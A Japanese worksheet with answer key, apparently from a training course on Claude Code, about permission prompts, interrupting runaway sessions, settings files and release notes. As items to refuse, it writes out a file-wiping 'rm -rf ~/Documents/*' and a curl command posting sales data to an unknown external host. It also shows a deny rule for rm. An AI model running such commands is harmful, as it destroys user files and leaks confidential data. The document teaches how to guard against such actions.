

# 第2回 演習問題

## Claude Code を使いこなす

所要時間 15～20分

全5問

解答は解答欄に記入すること

スライドや手元のPCを見ながら回答して構いません

## 演習1 Permission 判断

---

各問は「あなたが Claude に何を依頼したか」を踏まえて判断してください。記号で答え、理由も書いてください。

- ア 許可する
- イ 拒否する
- ウ Claude に確認してから判断する

問1-1. あなたは Claude に「4月の議事録を作成して」と依頼しました。

```
Write file
Write(meeting-notes-202604.md)
Do you want to proceed?
```

問1-2. あなたは Claude に「レポートの誤字を修正して」と依頼しました。

```
Run shell command
Bash(rm -rf ~/Documents/*)
Do you want to proceed?
```

問1-3. あなたは Claude に「今月の売上レポートを作成して」と依頼しました。

```
Run shell command
Bash(curl -X POST https://unknown-api.example.com/collect -d @sales-data.csv)
Do you want to proceed?
```

---

## 演習2 暴走の判断

---

以下の状況ごとに、`Esc` で中断すべきか、そのまま待つべきかを判断してください。中断する場合は理由も書いてください。

**A** : Claude にレポート作成を依頼した。Claude が関連するファイルを3つ読み込んでから、レポートを書き始めた。

→ 中断する / 待つ (どちらかに○)

中断する場合の理由:

**B** : Claude にファイルの修正を依頼した。同じエラーが出て、3回連続で別のアプローチを試しているが、毎回同じエラーになっている。

→ 中断する / 待つ (どちらかに○)

中断する場合の理由:

**C** : Claude にデータ分析を依頼した。依頼していないファイルを大量に読み始め、何をやっているか分からない状態が2分以上続いている。

→ 中断する / 待つ (どちらかに○)

中断する場合の理由:

## 演習3 `settings.json` を読む

---

以下の `.claude/settings.json` を読んで、質問に教えてください。

```
{
  "permissions": {
    "allow": [
      "Read",
      "Glob",
      "Grep"
    ],
    "deny": [
      "Bash(rm *)"
    ]
  },
  "enabledPlugins": {
    "document-writing@wt-claude-code-plugins": true,
    "playwright@claude-plugins-official": true
  }
}
```

問3-1. Claude Code が `rm old-report.txt` を実行しようとしたとき、何が起きますか？

問3-2. Claude Code がファイルを編集 (Edit) しようとした場合はどうなりますか？

問3-3. この設定で有効化されているプラグインは何ですか？

---

## 演習4 設定ファイルの配置場所

---

以下の設定をしたい場合、どのファイルに書くべきですか？記号で教えてください。

ア `.claude/settings.json`

イ `.claude/settings.local.json`

ウ `~/.claude/settings.json`

やりたいこと	記号
A: チーム全員で rm コマンドを禁止したい	
B: このプロジェクトだけで自分だけ特定の MCP サーバーを使いたい	
C: どのプロジェクトでも Slack MCP を使いたい	
D: チーム全員で社内プラグインを有効化したい	

## 演習5 リリースノートを読む

---

Claude Code のリリースノートを確認して、以下の質問に教えてください。

確認方法: Web (`https://code.claude.com/docs/en/changelog`) または Claude Code 内で `/release-notes`

問5-1. `/loop` コマンドはどのバージョンで追加されましたか？

問5-2. `/loop` コマンドはどのようなコマンドですか？リリースノートを読んで説明してください。

## 演習1 回答

---

問1-1: ア 許可する (ウ 確認してから判断する も可)

依頼した議事録ファイルの新規作成であり、ファイル名も意図通り。Write は依頼内容と一致しているので許可してOK。迷ったときは ウ (Claude に意図を確認) も安全な選択。

問1-2: イ 拒否する (ウ 確認してから判断する も可)

「誤字を修正して」と頼んだのに `rm -rf ~/Documents/*` (Documents 内の全ファイルを強制削除) が出てくるのは明らかにおかしい。依頼内容と無関係な危険なコマンドは即拒否でOK。ウ (なぜそのコマンドを出したか Claude に確認) も妥当。

問1-3: イ 拒否する (ウ 確認してから判断する も可)

「レポートを作成して」と頼んだのに、知らない外部 URL に売上データを送信 (`curl -X POST`) しようとしている。レポート作成にデータの外部送信は不要。依頼内容と無関係かつ、機密データの流出リスクがあるので拒否。意図を Claude に確認してから判断する ウ も可。

ポイント: 自分が依頼した内容と、Claude がやろうとしていることが一致しているかを確認する。迷ったら ウ (確認してから判断) で立ち止まるのが安全。

---

## 演習2 回答

---

A: そのまま待つ — 関連ファイルの読み込みは正常な動作。レポート作成に必要な情報収集をしている。

B: **Esc** で中断 — 同じエラーを繰り返しているのは暴走のサイン。一度止めて、エラーの原因を自分で確認するか、別のアプローチを指示する。

C: **Esc** で中断 — 依頼していないファイルを大量に読むのは的外れな可能性が高い。一度止めて「何をしようとしていたの?」と確認し、指示を明確にしてやり直す。

ポイント: 止めても作業内容は消えません。迷ったら止めて確認する方が、トークンの無駄遣いを防げます。

---

## 演習3 回答

---

問3-1. ユーザーに確認されることなく、自動的に拒否されます。 `Bash (rm *)` が deny に入っているため、Claude は rm コマンドを実行できず、別のアプローチを試みます。

問3-2. 許可プロンプトが表示されます。 Edit は allow にも deny にも入っていないため、毎回ユーザーに確認が求められます (デフォルト動作)。

問3-3. document-writing と playwright の2つです。 document-writing は社内プラグイン (議事録・ドキュメント作成支援など)、playwright はブラウザ操作用のプラグインです。

ポイント: allow (常に許可) → deny (常に拒否) → どちらもでない (毎回確認) の3段階で制御されています。

---

## 演習4 回答

---

やりたいこと	記号・理由
A: チーム全員で rm を禁止	ア (Git で共有される)
B: このプロジェクトだけで自分だけ MCP を使う	イ (Git に含まれない個人設定)
C: 全プロジェクト共通で Slack MCP	ウ (個人の全体設定)
D: チーム全員でプラグイン有効化	ア (Git で共有される)

ポイント: どこに書くかを常に意識する。間違えるとチームに影響したり、逆に自分にしか効かなかったりします。

---

## 演習5 回答

---

問5-1. バージョン 2.1.71 (2026年3月7日) で追加されました。ただし一部環境で動作しないバグがあり、2.1.73 (3月11日) で修正されています。どちらのバージョンでも正解です。

問5-2. `/loop` は指定した間隔でプロンプトやスラッシュコマンドを繰り返し実行するコマンドです。リリースノートには「run a prompt or slash command on a recurring interval」と記載されており、使用例として `/loop 5m check the deploy` が挙げられています。